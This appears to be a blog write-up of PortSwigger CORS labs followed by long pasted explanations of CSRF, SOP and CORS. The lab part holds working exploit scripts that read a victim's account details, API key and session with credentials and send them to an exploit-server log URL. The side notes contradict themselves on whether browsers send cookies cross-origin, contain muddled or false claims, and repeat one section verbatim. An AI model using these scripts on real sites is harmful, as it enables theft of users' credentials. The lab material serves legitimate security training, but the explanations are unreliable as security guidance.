Published on

PortSwigger - Cross-origin resource sharing (CORS)

Authors
CORS vulnerability with basic origin reflection

In this vulnerability the application simply extracts the origin from the request and returns it in ACAO header to give access to the resources. In the lab ACAC header is also set to true. That means any other site can request authenticated resources from this site.

So in this lab we will write a script that requests the resources from the authenticated endpoint.

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 166

{
  "username": "wiener",
  "email": "test.gw@gmail.com",
  "apikey": "fujGcQmWNivyIdWgGhiKWQZNqd9vyUWu",
  "sessions": [
    "axwWRpk3H1Z37rL5ysS4vAW31LisMqJ4"
  ]
}

As we can see the Access-Control-Allow-Credentials: true header and its value. This indicates that any origin can access the resource with authentication i.e., browser will add the cookies.

Now if we add Origin in the above request it will simply be reflected in ACAO header, this misconfiguration can help us exploit the issue.

GET /accountDetails HTTP/1.1
Host: 0ab200f103c198a382b3e30f00e5002f.web-security-academy.net
Cookie: session=axwWRpk3H1Z37rL5ysS4vAW31LisMqJ4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Origin: attacker.com
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab200f103c198a382b3e30f00e5002f.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive

This will returns the response :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 166

{
  "username": "wiener",
  "email": "test.gw@gmail.com",
  "apikey": "fujGcQmWNivyIdWgGhiKWQZNqd9vyUWu",
  "sessions": [
    "axwWRpk3H1Z37rL5ysS4vAW31LisMqJ4"
  ]
}

We will demonstrate its impact by creating a script.

<script> 
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://0ab200f103c198a382b3e30f00e5002f.web-security-academy.net/accountDetails',true); 
req.withCredentials = true; 
req.send(); 
function reqListener() 
	{ 
		location='/log?key='+this.responseText; 
		}; 
</script>

CORS vulnerability with trusted null Origin

This website has an insecure CORS configuration in that it trusts the "null" origin.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "B2bK1uJywYOc0uhdNiCucp1xGl53X3Tn",
  "sessions": [
    "oC7lzOn5DJqfkKfdHlAN5MbmTuNSE0CQ"
  ]
}

The exploit :

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> 
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://0ac3004d03ed6b0b809f129a009700dd.web-security-academy.net/accountDetails',true); req.withCredentials = true; 
req.send(); 
function reqListener() { 
	location='https://exploit-0a7f006103366bbe80e311b3015d00cf.exploit-server.net/log?key='+encodeURIComponent(this.responseText); 
	}; 
</script>"></iframe>

CORS vulnerability with trusted insecure protocols

<script>
    document.location="http://stock.0aa100ae044437678080356900e4006c.web-security-academy.net/?productId=<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aa100ae044437678080356900e4006c.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0ae4002b04273787803334e101b600f0.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

Interesting side notes

The statement you provided highlights a key aspect of security related to POST requests with a Content-Type of application/json. Let’s break down why such requests are generally secure against Cross-Site Request Forgery (CSRF) attacks when the Content-Type is validated:

Understanding CSRF Attacks

Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks a user’s browser into making a request to another site where the user is authenticated. For example, if a user is logged into a bank account and visits a malicious website, that site might try to make a transfer request on behalf of the user.

Why application/json Requests Are More Secure Against CSRF

  1. Content-Type Checking:

    • CSRF Prevention: CSRF attacks rely on tricking the victim’s browser into making requests that include authentication cookies or tokens. Most modern web applications use some form of CSRF protection, such as requiring a CSRF token to be included in state-changing requests. This token is usually sent as part of the request body or headers and must match what the server expects.
    • JSON Requests: When a request uses the Content-Type: application/json, the request body is typically in JSON format. Many servers validate the Content-Type header to ensure that only requests with the correct content type (e.g., application/json) are processed for specific actions. If an attacker’s site tries to send a request to another site with a different content type, such as application/x-www-form-urlencoded or multipart/form-data, the server will reject the request due to mismatched content type.

  2. Browser Behavior:

    • No Automatic Credential Inclusion: Browsers automatically include cookies with same-origin requests (requests to the same domain) but do not include them with cross-origin requests unless specifically instructed by the server using CORS (Cross-Origin Resource Sharing) headers. POST requests with application/json content are less likely to be automatically sent by browsers when initiated from a different origin because they generally require explicit JavaScript code to craft and send them.
    • JavaScript Required: To make a POST request with application/json, JavaScript code must be used to set the appropriate headers and send the JSON body. Simply clicking on a link or loading an image on a malicious site will not trigger such requests.

  3. CSRF Token Validation:

    • Token Inclusion: To prevent CSRF attacks, many applications require a CSRF token to be included in POST requests. This token is not sent by default with cross-origin requests. For example, if a site requires a CSRF token in the request body or headers, the attacker’s site won’t be able to include a valid token in the request, leading to a failed authentication or a blocked request.

Important Considerations

  • Server-Side Validation: The server must be properly configured to validate the Content-Type header and check for CSRF tokens if needed.
  • CORS Configuration: Proper CORS settings should be in place to control how and which domains are allowed to interact with your API.
  • Additional Security Measures: While application/json requests provide additional security against CSRF, other security measures such as proper session management, input validation, and authentication/authorization controls are also crucial.

Summary

The key reason POST requests with Content-Type: application/json are more resistant to CSRF attacks is due to the way browsers handle different content types and how CSRF tokens are used. Validation of Content-Type helps ensure that only requests with the correct format are processed, and since CSRF attacks typically involve sending requests from different origins without proper tokens, they are less likely to succeed with JSON-based POST requests.

Yes, the primary reason why POST requests with Content-Type: application/json are more secure against CSRF (Cross-Site Request Forgery) attacks is related to the same-origin policy and how browsers handle cross-origin requests. Let’s dive into this in more detail:

How Same-Origin Policy Helps

  1. Same-Origin Policy:

    • Definition: The same-origin policy is a critical security feature implemented by web browsers that restricts how documents or scripts from one origin can interact with resources from another origin.
    • Cross-Origin Requests: A request is considered cross-origin if it is made from a different origin (domain, protocol, or port) than the server it is targeting. For example, if https://example.com tries to make a request to https://api.example.com, that’s a cross-origin request.

  2. CSRF Attacks:

    • Mechanism: CSRF attacks exploit the fact that browsers automatically include cookies or authentication tokens with requests to the same origin. An attacker can trick a user’s browser into making a request to a site where the user is authenticated, leveraging the user's credentials.

    • Limitations with JSON: A CSRF attack would need to perform a cross-origin request with a Content-Type that matches what the target server expects. application/json is less likely to be used in such attacks because:

      • JavaScript Requirement: To make a cross-origin request with Content-Type: application/json, the attacker’s site needs to use JavaScript to set up and send the request, including setting the correct headers. Browsers do not automatically send these types of requests just by loading images or clicking links.

      • Same-Origin Cookies: Browsers will not include same-origin cookies with cross-origin requests unless the server explicitly allows it through CORS (Cross-Origin Resource Sharing) headers. Most modern web applications use cookies for authentication, and they are not sent with cross-origin POST requests by default.

Server-Side Protections

  1. Content-Type Validation:

    • Header Checking: Many servers are configured to validate the Content-Type header of incoming requests. For example, if an endpoint expects application/json, requests with a different Content-Type (e.g., application/x-www-form-urlencoded) will be rejected. This helps ensure that only properly formatted requests are processed.

  2. CSRF Tokens:

    • Required Tokens: Applications that implement CSRF protection typically require a CSRF token to be included in requests that modify state. This token is included in requests as a header or a form field and must match the token stored on the server. Cross-origin requests from an attacker’s site cannot easily include this token.

Additional Considerations

  • CORS Configuration: Proper CORS settings are important for allowing or restricting cross-origin requests. By default, browsers will not include credentials (cookies, HTTP authentication) in cross-origin requests unless the server explicitly permits it with appropriate CORS headers.

  • Token Handling: Ensure CSRF tokens are used correctly and are not leaked or predictable. Additionally, check for other security measures like secure session management and input validation.

Summary

To sum up, POST requests with Content-Type: application/json are more secure against CSRF attacks primarily because:

  • Cross-Origin Restrictions: Browsers do not include credentials in cross-origin requests by default, and JSON requests typically require JavaScript to be crafted and sent, making them less prone to simple CSRF attacks.
  • Content-Type Validation: Servers often validate the Content-Type header, which can block unauthorized or malformed requests.
  • CSRF Token Requirement: Effective CSRF protection requires valid tokens in requests, which cross-origin attackers cannot easily provide.

These mechanisms work together to make it more difficult for an attacker to exploit CSRF vulnerabilities using JSON-based requests.

Yes, that's correct. CSRF (Cross-Site Request Forgery) attacks are significantly mitigated when browsers do not send cookies or authentication credentials with cross-origin requests. Here’s a more detailed explanation of why this is the case:

Why CSRF Attacks are Less Likely with Cross-Origin Requests

  1. Same-Origin Policy:

    • Definition: The Same-Origin Policy (SOP) is a security measure implemented by browsers that restricts how documents or scripts loaded from one origin can interact with resources from another origin.
    • Impact: This policy helps ensure that resources such as cookies, local storage, and session data are not sent with cross-origin requests unless explicitly allowed.

  2. Cookies and Cross-Origin Requests:

    • Automatic Cookies: When a browser makes a request to the same origin (i.e., the same domain, protocol, and port), it automatically includes cookies associated with that origin.
    • Cross-Origin Requests: For cross-origin requests (requests to a different domain, protocol, or port), browsers do not include cookies or authentication credentials by default. This behavior prevents an attacker from exploiting the user’s authenticated session on a different origin.

  3. Preflight Requests and CORS:

    • Preflight Requests: For complex cross-origin requests (e.g., requests with custom headers or methods like POST with application/json), browsers send an initial OPTIONS request called a preflight request to check if the actual request is allowed by the server.
    • CORS Headers: The server must respond with appropriate CORS (Cross-Origin Resource Sharing) headers to allow the request. The server can specify which origins are allowed and whether credentials (such as cookies) can be included. Without proper CORS configuration that allows credentials, cookies and authentication data will not be sent with the request.

Mechanisms Protecting Against CSRF

  1. Token-Based CSRF Protection:

    • CSRF Tokens: To prevent CSRF attacks, many web applications use CSRF tokens. These tokens are included in state-changing requests (e.g., form submissions or API requests). The server generates a unique token for each session or request, which must be included in the request and matched by the server.
    • Token Inclusion: Since tokens are not automatically included in cross-origin requests, an attacker cannot easily include a valid token from another domain, making it harder to forge requests.

  2. SameSite Cookie Attribute:

    • SameSite Attribute: The SameSite attribute on cookies can further enhance protection against CSRF. This attribute can be set to Strict, Lax, or None:
      • Strict: Cookies are only sent in first-party contexts (i.e., not sent with cross-origin requests).
      • Lax: Cookies are sent with top-level navigation requests but not with other cross-origin requests (e.g., form submissions).
      • None: Cookies are sent with all requests, but this requires the Secure attribute and is less commonly used for CSRF protection.
    • Configuration: By setting SameSite=Strict or SameSite=Lax, you can prevent cookies from being sent with cross-origin requests, mitigating the risk of CSRF.

Limitations and Considerations

  1. Secure Configuration: Ensure that your application is properly configured to use CSRF tokens and that cookies have appropriate security attributes (e.g., SameSite, Secure).
  2. CORS Headers: Be aware of CORS configuration to prevent unauthorized domains from interacting with your API.
  3. Additional Protections: While CSRF attacks are mitigated by these measures, other security practices like input validation, proper authentication, and secure session management are also essential.

Summary

CSRF attacks are significantly less likely to succeed if browsers do not send cookies or credentials with cross-origin requests due to the Same-Origin Policy and CORS restrictions. Properly configuring CSRF protection tokens, using the SameSite cookie attribute, and enforcing secure CORS policies are effective ways to safeguard against CSRF attacks. These measures ensure that malicious sites cannot trick a user’s browser into making unauthorized requests on their behalf.

While it’s true that modern browsers generally do not send cookies with cross-origin requests by default, relying solely on this browser behavior for protection against CSRF (Cross-Site Request Forgery) is not sufficient. Here’s why additional protection is necessary:

Why Additional CSRF Protection Is Needed

  1. Complexity and Inconsistency:

    • Complex Requests: CSRF attacks are more sophisticated than simple cross-origin requests. Attackers can leverage techniques like cross-site scripting (XSS) or social engineering to make more complex requests, which might involve different content types or methods.
    • Browser Behavior Variations: Not all browsers or configurations handle cross-origin requests identically. Different browsers might have variations in their implementation of security policies.

  2. SameSite Cookie Attribute:

    • Browser Support: While modern browsers have improved support for the SameSite attribute, older browsers or some specific configurations may not fully respect or enforce these attributes. Not all users may use up-to-date browsers that correctly implement the SameSite attribute.

  3. Cross-Site Scripting (XSS):

    • XSS Vulnerabilities: If an application is vulnerable to XSS, an attacker could exploit this vulnerability to execute scripts that send requests on behalf of the user, potentially bypassing some of the default cross-origin restrictions.
    • Tokens in Headers: Even if cookies are not sent cross-origin, attackers could still attempt to exploit vulnerabilities in how tokens are handled or where they are stored.

  4. API Endpoints and Content Types:

    • Non-Cookie Authentication: Not all authentication methods rely on cookies. For example, APIs may use tokens in headers or other mechanisms that could be vulnerable to CSRF if not properly protected.
    • Content-Type and Headers: Some requests might not involve cookies at all but use headers or other methods that could still be vulnerable to forgery if CSRF protections are not in place.

  5. Mitigation of Other Attack Vectors:

    • Token Validation: CSRF tokens ensure that each request has a valid and expected token, making it harder for attackers to forge requests even if they manage to bypass cross-origin restrictions.
    • Enhanced Security: Additional CSRF protections provide a layered defense strategy, helping ensure that even if one layer is compromised or if browser behavior changes, other security measures are still effective.

  6. Server-Side Trust:

    • Trust Boundaries: Relying solely on browser behavior for security assumes that the browser is fully trusted to handle all security concerns. In practice, applications should not rely on client-side behavior alone and should implement server-side checks to verify request authenticity.

Best Practices for CSRF Protection

  1. CSRF Tokens:

    • Implementation: Use CSRF tokens for state-changing requests. Ensure tokens are included in the request and validated on the server side.
    • Token Storage: Store tokens securely and ensure they are unique and unpredictable.

  2. SameSite Cookies:

    • Configuration: Set the SameSite attribute on cookies to Lax or Strict where appropriate to prevent cookies from being sent with cross-origin requests.

  3. CORS Configuration:

    • Policy: Implement a proper CORS policy to control which domains are allowed to interact with your API and how credentials are handled.

  4. Regular Security Audits:

    • Testing: Regularly test and audit your application for CSRF vulnerabilities and other security issues.

  5. Keep Software Updated:

    • Browser and Libraries: Ensure that your web application and any libraries or frameworks used are up-to-date with the latest security patches.

Summary

While default browser behavior helps reduce the risk of CSRF attacks by not sending cookies with cross-origin requests, additional protections are necessary because of variations in browser behavior, the potential for XSS attacks, and the presence of other authentication mechanisms. Implementing CSRF tokens, configuring cookies with the SameSite attribute, and ensuring proper CORS settings are essential practices to comprehensively protect against CSRF and other web security threats.

If a cookie is set with the SameSite=Strict attribute but the server's CORS (Cross-Origin Resource Sharing) configuration allows cross-origin requests with wildcard (*) for the Access-Control-Allow-Origin (ACAO) header and Access-Control-Allow-Credentials (ACAC) set to true, here's what happens:

Cookie Behavior with SameSite=Strict

  1. SameSite=Strict:
    • Definition: The SameSite=Strict attribute on a cookie means that the cookie will only be sent in requests originating from the same site (domain, protocol, and port) as the one that set the cookie.
    • Impact: Cookies with SameSite=Strict are not sent with any cross-origin requests, including those initiated by third-party sites. This includes both simple requests (like GET requests) and more complex requests (like POST requests) from other origins.

CORS Configuration Impact

  1. Wildcard ACAO Header:

    • Definition: The Access-Control-Allow-Origin (ACAO) header specifies which origins are allowed to access resources on the server. A wildcard (*) indicates that any origin is allowed.
    • Impact: When using a wildcard for Access-Control-Allow-Origin, it means that any external site can attempt to access your resources. However, this wildcard does not affect the sending of cookies; it only controls which origins are permitted to access the resource.

  2. Access-Control-Allow-Credentials (ACAC) Header:

    • Definition: The Access-Control-Allow-Credentials (ACAC) header indicates whether the browser should include credentials (such as cookies or HTTP authentication) with cross-origin requests.
    • Impact: If ACAC is set to true, the server is allowing credentials to be included in cross-origin requests. However, browsers will only include credentials if the Access-Control-Allow-Origin header is not set to a wildcard (*). In other words, if ACAC=true and Access-Control-Allow-Origin is *, the credentials will not be included in the request.

Combined Impact:

  1. Effect of SameSite=Strict:

    • Cookies: With SameSite=Strict, cookies are not sent with any cross-origin requests regardless of the CORS configuration. This means that even if ACAC=true and Access-Control-Allow-Origin is set to *, the cookies with SameSite=Strict will not be sent.

  2. CORS Configuration:

    • Requests: The wildcard Access-Control-Allow-Origin allows any origin to attempt to access the resource, but it does not impact the SameSite=Strict behavior of cookies.
    • Credentials: The ACAC=true setting will not lead to cookies being included in requests where the Access-Control-Allow-Origin is a wildcard. The credentials will only be included if the Access-Control-Allow-Origin is explicitly set to a specific origin, not *.

Summary

  • Cookies with SameSite=Strict: They will not be sent with any cross-origin requests, no matter what the CORS configuration is.
  • CORS with Wildcard and ACAC=true: The wildcard Access-Control-Allow-Origin allows requests from any origin but does not affect the behavior of cookies with SameSite=Strict. The ACAC=true setting is effective only when the Access-Control-Allow-Origin is set to a specific origin, not a wildcard.

In essence, the SameSite=Strict attribute provides robust protection against CSRF by preventing cookies from being sent with cross-origin requests, regardless of the CORS settings.

Exactly! When dealing with APIs or authentication mechanisms that rely on custom headers or tokens rather than cookies, the Same-Origin Policy and SameSite cookie attributes don’t apply, so CSRF protection becomes even more crucial. Here’s why:

Why CSRF Protection is Crucial for APIs and Custom Headers

  1. No Same-Origin Policy for Custom Headers:

    • Cookies vs. Headers: The Same-Origin Policy primarily affects cookies. For APIs or authentication tokens sent via headers (like Authorization headers or custom tokens), this policy does not inherently prevent these headers from being sent with cross-origin requests.
    • CSRF Risks: If an API or authentication mechanism relies on custom headers or tokens, attackers can exploit vulnerabilities in applications to forge requests that include these headers or tokens. This can lead to unauthorized actions if the API does not implement proper CSRF protection.

  2. CSRF Tokens:

    • Token-Based Protection: For APIs, CSRF tokens are used to validate that requests are coming from a trusted source. These tokens are included in the request payload (or headers) and are validated by the server.
    • Implementation: The server generates a unique CSRF token for each session or request, which the client must include in state-changing requests. This ensures that the request is legitimate and prevents unauthorized actions even if an attacker can make cross-origin requests.

  3. Custom Headers and CORS:

    • CORS and Credentials: CORS settings control which origins can interact with your API and whether credentials (like cookies or authentication headers) can be included. However, even with proper CORS settings, CSRF protection is needed to ensure that these requests are legitimate.
    • Access-Control-Allow-Origin: Setting a specific origin in Access-Control-Allow-Origin and using Access-Control-Allow-Credentials is important, but it does not replace the need for CSRF protection.

  4. Token Theft and Replay Attacks:

    • Token Theft: If an attacker manages to steal an authentication token or API key through XSS or other means, they could potentially use it to make authenticated requests on behalf of the user. CSRF protection helps mitigate this risk by ensuring that tokens are included in requests from legitimate sources.
    • Replay Attacks: Even if tokens are secure, CSRF attacks can exploit the fact that a token might be reused in an unauthorized context. Proper validation and token usage practices are needed to prevent these attacks.

Best Practices for Securing APIs and Authentication Headers

  1. Use CSRF Tokens:

    • Include Tokens: Include CSRF tokens in requests for state-changing operations. Ensure that tokens are unique and validated on the server side.

  2. Implement CORS Properly:

    • Restrict Origins: Set specific origins in the Access-Control-Allow-Origin header rather than using a wildcard (*), especially if credentials are included.
    • Control Credentials: Use Access-Control-Allow-Credentials carefully to control whether credentials are included in cross-origin requests.

  3. Secure Token Storage:

    • Secure Storage: Store authentication tokens securely (e.g., in HTTP-only cookies, local storage with proper security measures) and ensure they are not exposed to potential XSS attacks.

  4. Validate All Requests:

    • Request Validation: Validate all incoming requests to ensure they are authorized and come from legitimate sources. Implementing additional checks and balances can help prevent unauthorized access.

  5. Use HTTPS:

    • Secure Transmission: Ensure that all communication involving sensitive information, such as authentication tokens, is transmitted over HTTPS to protect against eavesdropping and man-in-the-middle attacks.

  6. Regular Security Audits:

    • Testing: Regularly test and audit your application for security vulnerabilities, including CSRF and XSS.

Summary

While the Same-Origin Policy and SameSite attributes provide protection for cookies, APIs and authentication mechanisms using custom headers or tokens require additional CSRF protections. Implementing CSRF tokens, configuring CORS properly, securing token storage, and validating requests are essential practices to protect against unauthorized access and ensure robust security for your applications.

Let's break down the points to clarify how the Same-Origin Policy (SOP) and Cross-Site Request Forgery (CSRF) work:

1. SOP and Cookie Sending

  • What SOP Does: The Same-Origin Policy is a security mechanism that prevents scripts (like JavaScript) on one origin (domain, protocol, and port) from accessing data (like the DOM, cookies, or response data) from a different origin.
  • What SOP Does NOT Do: SOP does not prevent the browser from including cookies when making a request to another origin. If you make a request to example.com, and example.com previously set a cookie in your browser, that cookie will be sent along with the request regardless of where the request was initiated from.

Example:

  • Suppose you are logged into example.com and have a session cookie set.
  • If a website malicious-site.com tricks your browser into sending a request to example.com (e.g., by embedding a form or using JavaScript), your browser will include the session cookie in the request to example.com because the cookie is associated with that domain.

2. SOP and JavaScript Access to Responses

  • What SOP Prevents: While your browser can send requests (with cookies) to different origins, SOP prevents JavaScript on one origin (e.g., malicious-site.com) from reading the response from another origin (e.g., example.com) unless the server at example.com explicitly allows it through Cross-Origin Resource Sharing (CORS) headers.
  • CORS Headers: CORS is a security feature that allows servers to specify who can access their resources. If example.com allows malicious-site.com to read the response by setting appropriate CORS headers, then malicious-site.com could potentially read the data from example.com.

Example:

  • If JavaScript on malicious-site.com tries to make an AJAX request to example.com, the browser will send the request but won't let malicious-site.com access the response unless example.com allows it via CORS headers.

Key Takeaways

  • SOP and Request Sending: SOP does not stop the browser from sending cookies with cross-origin requests. This means if an attacker tricks your browser into sending a request to another site where you are authenticated (CSRF attack), your cookies will be included, and the request will be processed as if it came directly from you.

  • SOP and JavaScript Access: SOP mainly restricts JavaScript on one site from accessing the data of another site. However, it doesn't stop the browser from making requests; it just stops the attacker from easily seeing the response unless the target site’s CORS policy permits it.

Summary

  • CSRF Attack Context: CSRF exploits the fact that cookies are automatically included with requests, and SOP does not prevent this. SOP only prevents the attacker's JavaScript from reading the response of a cross-origin request.
  • CORS and SOP: CORS is a mechanism to relax SOP restrictions in controlled ways. While SOP protects your data, CORS allows servers to define exceptions.

If you have more questions or need further clarification, feel free to ask!

Let's clarify the concepts of SOP, CORS, and CSRF with code examples, HTTP requests, and responses.

Scenario Setup

  1. Two Websites:
    • bank.com: The user's bank website, where they are logged in with a session cookie.
    • attacker.com: A malicious website trying to perform a CSRF attack on bank.com.

1. Same-Origin Policy (SOP)

Scenario: JavaScript Access Across Origins

JavaScript on attacker.com tries to access a resource from bank.com:

// attacker.com
fetch('https://bank.com/transfer?amount=1000&to=attacker')
  .then(response => response.text())
  .then(data => console.log(data));

HTTP Request Sent:

GET /transfer?amount=1000&to=attacker HTTP/1.1
Host: bank.com
Cookie: session=abc123

Response from bank.com:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "balance": "5000"
}

What Happens?

  • Request is Sent: The request is sent to bank.com, and because the user is logged in, the session cookie (session=abc123) is included.
  • SOP Restriction: However, due to SOP, attacker.com cannot read the response from bank.com. The browser blocks JavaScript on attacker.com from accessing the response content.

2. Cross-Origin Resource Sharing (CORS)

Scenario: CORS Headers Allow Access

JavaScript on attacker.com with CORS Headers from bank.com:

// attacker.com
fetch('https://bank.com/transfer?amount=1000&to=attacker')
  .then(response => response.text())
  .then(data => console.log(data));

Response from bank.com with CORS Headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "status": "success",
  "balance": "5000"
}

What Happens?

  • CORS Headers: The response includes Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true, which allows attacker.com to read the response.
  • JavaScript Access Granted: Because of these headers, the browser allows attacker.com to access the response data.

3. Cross-Site Request Forgery (CSRF)

Scenario: Form Submission with application/x-www-form-urlencoded

HTML Form on attacker.com trying to perform CSRF:

<!-- attacker.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker">
  <input type="submit" value="Transfer Money">
</form>
<script>
  document.forms[0].submit();  // Automatically submit the form
</script>

HTTP Request Sent:

POST /transfer HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

amount=1000&to=attacker

What Happens?

  • Automatic Cookie Inclusion: When the form is submitted, the browser automatically includes the session cookie (session=abc123) in the request to bank.com.
  • Request is Authenticated: bank.com processes the request as if it came directly from the user, transferring money to the attacker.

Why application/json is Different

JavaScript Example with application/json:

// attacker.com
fetch('https://bank.com/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    amount: 1000,
    to: 'attacker'
  })
});

Request that JavaScript Sends:

POST /transfer HTTP/1.1
Host: bank.com
Content-Type: application/json
Cookie: <NOT INCLUDED UNLESS EXPLICITLY CODED>

What Happens?

  • No Automatic Cookie Inclusion: When using application/json, the browser doesn't automatically include cookies in the request unless explicitly coded to do so. This reduces the risk of CSRF attacks.
  • Why Forms Can't Send JSON: HTML forms cannot send application/json payloads. They are restricted to application/x-www-form-urlencoded or multipart/form-data, which do automatically include cookies and are thus more vulnerable to CSRF attacks.

Key Takeaways:

  1. SOP Limits JavaScript Access: SOP prevents JavaScript on attacker.com from reading responses from bank.com unless bank.com explicitly allows it via CORS headers.

  2. CORS as a Relaxation: CORS headers can be used to relax SOP, allowing controlled access to resources across origins.

  3. CSRF with Forms: application/x-www-form-urlencoded forms automatically include cookies, making them vulnerable to CSRF attacks.

  4. Protection via application/json: When requests are made with application/json, browsers don’t automatically include cookies, reducing the risk of CSRF unless explicitly coded to do so.

  5. CORS and APIs: CORS is crucial for API security, especially when dealing with authentication headers or tokens, which are not subject to the same browser cookie handling rules as traditional cookies.

Let's clarify the concepts of SOP, CORS, and CSRF with code examples, HTTP requests, and responses.

Scenario Setup

  1. Two Websites:
    • bank.com: The user's bank website, where they are logged in with a session cookie.
    • attacker.com: A malicious website trying to perform a CSRF attack on bank.com.

1. Same-Origin Policy (SOP)

Scenario: JavaScript Access Across Origins

JavaScript on attacker.com tries to access a resource from bank.com:

// attacker.com
fetch('https://bank.com/transfer?amount=1000&to=attacker')
  .then(response => response.text())
  .then(data => console.log(data));

HTTP Request Sent:

GET /transfer?amount=1000&to=attacker HTTP/1.1
Host: bank.com
Cookie: session=abc123

Response from bank.com:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "balance": "5000"
}

What Happens?

  • Request is Sent: The request is sent to bank.com, and because the user is logged in, the session cookie (session=abc123) is included.
  • SOP Restriction: However, due to SOP, attacker.com cannot read the response from bank.com. The browser blocks JavaScript on attacker.com from accessing the response content.

2. Cross-Origin Resource Sharing (CORS)

Scenario: CORS Headers Allow Access

JavaScript on attacker.com with CORS Headers from bank.com:

// attacker.com
fetch('https://bank.com/transfer?amount=1000&to=attacker')
  .then(response => response.text())
  .then(data => console.log(data));

Response from bank.com with CORS Headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "status": "success",
  "balance": "5000"
}

What Happens?

  • CORS Headers: The response includes Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true, which allows attacker.com to read the response.
  • JavaScript Access Granted: Because of these headers, the browser allows attacker.com to access the response data.

3. Cross-Site Request Forgery (CSRF)

Scenario: Form Submission with application/x-www-form-urlencoded

HTML Form on attacker.com trying to perform CSRF:

<!-- attacker.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker">
  <input type="submit" value="Transfer Money">
</form>
<script>
  document.forms[0].submit();  // Automatically submit the form
</script>

HTTP Request Sent:

POST /transfer HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

amount=1000&to=attacker

What Happens?

  • Automatic Cookie Inclusion: When the form is submitted, the browser automatically includes the session cookie (session=abc123) in the request to bank.com.
  • Request is Authenticated: bank.com processes the request as if it came directly from the user, transferring money to the attacker.

Why application/json is Different

JavaScript Example with application/json:

// attacker.com
fetch('https://bank.com/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    amount: 1000,
    to: 'attacker'
  })
});

Request that JavaScript Sends:

POST /transfer HTTP/1.1
Host: bank.com
Content-Type: application/json
Cookie: <NOT INCLUDED UNLESS EXPLICITLY CODED>

What Happens?

  • No Automatic Cookie Inclusion: When using application/json, the browser doesn't automatically include cookies in the request unless explicitly coded to do so. This reduces the risk of CSRF attacks.
  • Why Forms Can't Send JSON: HTML forms cannot send application/json payloads. They are restricted to application/x-www-form-urlencoded or multipart/form-data, which do automatically include cookies and are thus more vulnerable to CSRF attacks.

Key Takeaways:

  1. SOP Limits JavaScript Access: SOP prevents JavaScript on attacker.com from reading responses from bank.com unless bank.com explicitly allows it via CORS headers.

  2. CORS as a Relaxation: CORS headers can be used to relax SOP, allowing controlled access to resources across origins.

  3. CSRF with Forms: application/x-www-form-urlencoded forms automatically include cookies, making them vulnerable to CSRF attacks.

  4. Protection via application/json: When requests are made with application/json, browsers don’t automatically include cookies, reducing the risk of CSRF unless explicitly coded to do so.

  5. CORS and APIs: CORS is crucial for API security, especially when dealing with authentication headers or tokens, which are not subject to the same browser cookie handling rules as traditional cookies.

Discuss on Twitter • View on GitHub